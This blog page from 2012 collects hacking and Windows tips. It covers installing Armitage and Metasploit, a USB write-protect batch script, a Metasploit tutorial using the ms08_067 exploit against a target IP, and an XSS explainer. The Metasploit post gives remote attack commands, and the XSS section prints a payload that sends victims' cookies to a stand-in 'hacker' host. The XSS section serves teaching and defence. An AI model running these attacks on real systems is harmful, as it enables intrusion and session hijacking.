Pages

Friday, February 3, 2012

Armitage - Cyber Attack Management

Technology has no end, on the previous article we have discussed about metasploit framework, that has been changed the way of penetration testing, Armitage is a graphical cyber attack management tool for Metasploit that visualises your targets, recommends exploits, and exposes the advanced capabilities of the framework.





When metasploit and armitage meet to each other than they make a powerful cyber management tool for doing pen testing on the network(s). Armitage allow your team to use the same sessions, share data, and communicate through one Metasploit instance. It is very helpful tool to learn about the cyber security because it provides a graphical interface instead of command line.


Just like metasploit, Armitage is also available for different operating system like Linux, Windowsand MAC. Below is the tutorial on how to get and install armitage.


Tutorial
Requirement: 
Install Armitage On Linux 
You can get install armitage by a simple command but before execute this application get command you need to be a root user to install armitage so open terminal and type exactly,
$ sudo su
# apt-get install armitage
We need to enable RPC daemon for metasploit use this command on the terminal,
root@bt:~# msfrpcd -f -U msf -P test -t Basic 
Now start MYSQL server so that Armitage stores results 
root@bt:~# /etc/init.d/mysql start
Now its time to run Armitage, locate the directory and type 
root@bt:/pentest/exploits/armitage# ./armitage.sh
After this a new window must be appear, setup the default host name if you want to use SSL than tick on it,





Eject CD/DVD drive in windows by keyboard shortcuts

Today i am going  to write a trick for creating shortcuts for opening CD/DVD. For this you have to download a tool from the link below.


http://www.ziddu.com/download/15079809/ejectcd.rar.html


This exe file will open the CD/DVD drive on running. Now you need to create a shortcut for this file. You can not assign shortcut keys for exe files. So create a shortcut for this exe.
 Now right click on the shortcut and open properties window.



Now assign the shortcut key as per your choice for this shortcut. In above image, i used Ctrl+Alt+0 as shortcut keys in my computer.

Now you have assigned a shortcut key for that shortcut. Now you can open the cd/DVD of your system by using this shortcut key.

HOW TO WRITE PROTECT A USB FLASH DRIVE


If you want to write protect your USB drive, you can do it with the given registry trick or batch script. Protecting USB drive depends on Registry, and you can do it manually or by the script. Read below. Mannual way is also given along with batch script


Manually:
1- Start > Run > type “regedit” to open regisry editor
2- Navigate to this: HKey_LOCAL_MACHINESystemCurrentControlSetControl
3- Create a new key with the name “StorageDevicePolicies”
4- On the right side, Create a new “DWORD Value” with thr name “WriteProtect” and give it “1" as Data
5- Then put the USB Flash Drive.
6- Try to Delete a file Or Copy something to it, You will not be able to do that.
7- To disable this feature, just change the data from 1 To 0


The Batch Script :


::-----------------------------------------::
:: Name: USB Flash Drive Write Protect.bat ::
::-----------------------------------------::
:main
@echo off
cls
echo. & echo. & echo.
echo  USB Write Protect program
echo ________________________________
echo. & echo.
echo     1. Lock the USB Flash Drive
echo     2. UnLock the USB Flash Drive
echo     3. Exit
echo.
set/p "ch= [>] Enter: "
if %ch%==1 goto lock
if %ch%==2 goto unlock
if %ch%==3 goto exit
goto main
:lock
cls
echo. & echo. & echo.
echo [+] Attention:
echo.
echo     Make sure that there is no USB Flash Drives inserted.
echo.
echo -----------------------------------------------------------
pause
reg add HKLMsystemcurrentcontrolsetcontrolStorageDevicePolicies /t reg_dword /v writeprotect /d 1 /f
pause > nul
goto main
:unlock
cls
echo. & echo. & echo.
echo. & echo. & echo.
echo [+] Attention:
echo.
echo     This operation doesn't require to Unplug the USB Flash Frive,
echo     so Continue without FEAR.
echo.
echo -------------------------------------------------------------------
pause
reg add HKLMsystemcurrentcontrolsetcontrolStorageDevicePolicies /t reg_dword /v writeprotect /d 0 /f
pause > nul
goto main


Hope it’s Useful and help You

Metasploit- An Introduction



If you are active in the community of Penetration tester/ethical hacker than you have heard about metasploit, because it is the most famous tool and used by the most penetration tester as well as used by the hackers. Metasploit is an open source security (Computer) project that contain the information about vulnerabilities.
If you just put all the available exploit in a single place than the phenomena of metasploit occur.

Metasploit framework is a sub project and is use to execute exploit code against a machine and get the desire task done.

Before discussing how to do all the things, you need to understand some basic terms like, vulnerability, exploit and payload. Vulnerability is a weakness or a hole by which an attacker can compromise a machine. Exploit may be a piece of code is an attack that takes advantage of a vulnerability. A payload is the piece of software that lets you control a computer system after it’s been exploited.

Metasploit project provides metasploit pro, metasploit express and metasploit framework. Metasploit framework is an open source and available for free for cross operating system platform (Windows, Linux).



How To Install Metaspolit 
In this tutorial we will discuss how to get and install metasploit framework for both Windows and for Linux (like ubuntu), if you are using backtrack than you can find metasploit over there.  
Install Metasploit on ubuntu or back track:

We need some packages to install metasploit, open terminal and type exactly.
$ sudo apt-get install ruby libruby rdoc
$ sudo apt-get install libyaml-ruby
$ sudo apt-get install libzlib-ruby
$ sudo apt-get install libopenssl-ruby
$ sudo apt-get install libdl-ruby
$ sudo apt-get install libreadline-ruby
$ sudo apt-get install libiconv-ruby
$ sudo apt-get install rubygems
Click here to download metasploit, in this case we have downloaded Linux-full.run file. You need to become a root user to run this installation on the terminal type.
$ sudo su
Now locate the directory where you have downloaded metasploit before and type.
$ ./name_of_file.run


Now just forward it accept the agreement, after installation, to run metasploit on the terminal type.
$ msfconsole 
Install Metasploit on Windows:
If you want to install metasploit on windows than you need to download the executable file of metasploit click here to download:  The installer includes the packages 
  • Console2
  • Ruby 1.9.2
  • PostgreSQL
  • Java JDK 6
  • Subversion
  • VNCViewer
  • WinVI32
  • Nmap 5.6
So you dont need to download any other file, just run the installer and you are done!

Metasploit Remote Desktop Exploit-Backtrack 5



Metasploit the father of all the exploits is nothing but a database and a great tool that contain exploits for different services for different operating system that can be listen on different ports. Metasploit for remote hacking and metasploit for remote exploits, these are the most important question that most of the people are asking about. We have got different request to write about Metasploit and SET remote exploits or remote hacking so in this tutorial we will look around metasploit remote desktop hacking.



Metasploit is based on different modules like, exploits, payload and so on. We can launch an attack against any operating system if and only if we find the suitable exploits against the operating system, however there is a autopwn that can search all the available exploits against a vulnerability but it takes time for remote or metasploit wan hacking.

Requirement


  • Operating system (backtrack 5 in my case)
  • Metasploit
  • Brain

If you are behind a router than you need to forward a port of your IP to connect with remote computer normally port number 445 seems to be open and I am going to use.

Metasploit Remote (WAN) Hacking Tutorial

  • Open the terminal and type “msfconsole”
  • Use the best exploit for remote hacking

msf > use exploit/windows/smb/ms08_067_netapi

  • Than we need to set the payload “reverse_tcp” for meterpreter is the best payload but for remote exploits vnc inject is good.
  • There is a need of IP of the remote computer (how to get IP of a computer is another topic) let suppose we have a target IP.

msf  exploit(ms08_067_netapi) > set payload windows/vncinject/bind_tcp
msf  exploit(ms08_067_netapi) > set RHOST target IP



  • Default port number for this attack is “445” but if you want to use some other port than you set.
  • Type exploit and hit enter if the target is vulnerable than you must have a session on remote computer, but remember you need to forward your port if it is not open.

Cross-Site Scripting (XSS) Tutorial: Learn About XSS Vulnerabilities, XSS Injections and How to Prevent Cross Site Scripting Attacks


XSS - What is Cross-Site Scripting?

Cross-Site Scripting (also known as XSS) is one of the most common application-layer web attacks. XSS vulnerabilities target scripts embedded in a page which are executed on the client-side (in the user’s web browser) rather than on the server-side. XSS in itself is a threat which is brought about by the internet security weaknesses of client-side scripting languages such as HTML and JavaScript. The concept of XSS is to manipulate client-side scripts of a web application to execute in the manner desired by the malicious user. Such a manipulation can embed a script in a page which can be executed every time the page is loaded, or whenever an associated event is performed.
XSS is the most common security vulnerability in software today. This should not be the case as XSS is easy to find and easy to fix. XSS vulnerabilities can have consequences such as tampering and sensitive data theft.

Key Concepts of XSS

  • XSS is a Web-based attack performed on vulnerable Web applications
  • In XSS attacks, the victim is the user and not the application
  • In XSS attacks, malicious content is delivered to users using JavaScript

Explaining Cross-Site Scripting

An XSS vulnerability arises when Web applications take data from users and dynamically include it in Web pages without first properly validating the data. XSS vulnerabilities allow an attacker to execute arbitrary commands and display arbitrary content in a victim user's browser. A successful XSS attack leads to an attacker controlling the victim’s browser or account on the vulnerable Web application. Although XSS is enabled by vulnerable pages in a Web application, the victims of an XSS attack are the application's users, not the application itself. The potency of an XSS vulnerability lies in the fact that the malicious code executes in the context of the victim's session, allowing the attacker to bypass normal security restrictions.


Different Types of XSS

Reflective XSS
There are many ways in which an attacker can entice a victim into initiating a reflective XSS request. For example, the attacker could send the victim a misleading email with a link containing malicious JavaScript. If the victim clicks on the link, the HTTP request is initiated from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then reflected back to the victim's browser, where it is executed in the context of the victim user's session.
cross site scripting xss
Persistent XSS
Consider a Web application that allows users to enter a user name which is displayed on each user’s profile page. The application stores each user name in a local database. A malicious user notices that the Web application fails to sanitize the user name field and inputs malicious JavaScript code as part of their user name. When other users view the attacker’s profile page, the malicious code automatically executes in the context of their session.
cross site scripting vulnerabilities and XSS

Impact of Cross-Site Scripting

When attackers succeed in exploiting XSS vulnerabilities, they can gain access to account credentials. They can also spread Web worms or access the user’s computer and view the user’s browser history or control the browser remotely. After gaining control to the victim’s system, attackers can also analyze and use other intranet applications.
By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:
  • Hijack an account
  • Spread Web worms
  • Access browser history and clipboard contents
  • Control the browser remotely
  • Scan and exploit intranet appliances and applications

Identifying Cross-Site Scripting Vulnerabilities

XSS vulnerabilities may occur if:
  • Input coming into Web applications is not validated
  • Output to the browser is not HTML encoded

Detecting a XSS Attack

Veracode are making a Free Service available as part of our mission to eradicate this common vulnerability as identified by Veracode's State of Software Security Report. It's Quick, it's free, get started now! Click here to start your 30 day free access.

XSS Examples

Example 1.
For example, the HTML snippet:
<title>Example document: %(title)</title>
is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in the following HTML to be emitted to the browser:
<title>Example document: XSS Doc</title>
A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
Sitting on the other end, at the Webserver, you will be receiving hits where after a double space is the users cookie. You might strike lucky if an administrator clicks the link, allowing you to steal their sessionID and hijack the session.
Example 2.
Suppose there's a URL on Google's site, http://www.google.com/search?q=flowers, which returns HTML documents containing the fragment
<p>Your search for 'flowers' returned the following results:</p>
i.e., the value of the query parameter q is inserted into the page returned by Google. Suppose further that the data is not validated, filtered or escaped.
Evil.org could put up a page that causes the following URL to be loaded in the browser (e.g., in an invisible<iframe>):
http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E When a victim loads this page from www.evil.org, the browser will load the iframe from the URL above. The document loaded into the iframe will now contain the fragment
<p>Your search for 'flowers <script>evil_script()</script>'
returned the following results:</p>

Loading this page will cause the browser to execute evil_script(). Furthermore, this script will execute in the context of a page loaded from www.google.com!

XSS Cheat Sheet: Prevent Cross-Site Scripting

The Cross-Site Scripting Cheat Sheet provides a summary of what you need to know about Cross-Site Scripting. Our XSS cheat sheet details the different types of Cross-site Scripting and shows you how to protect against Cross-site Scripting vulnerabilities.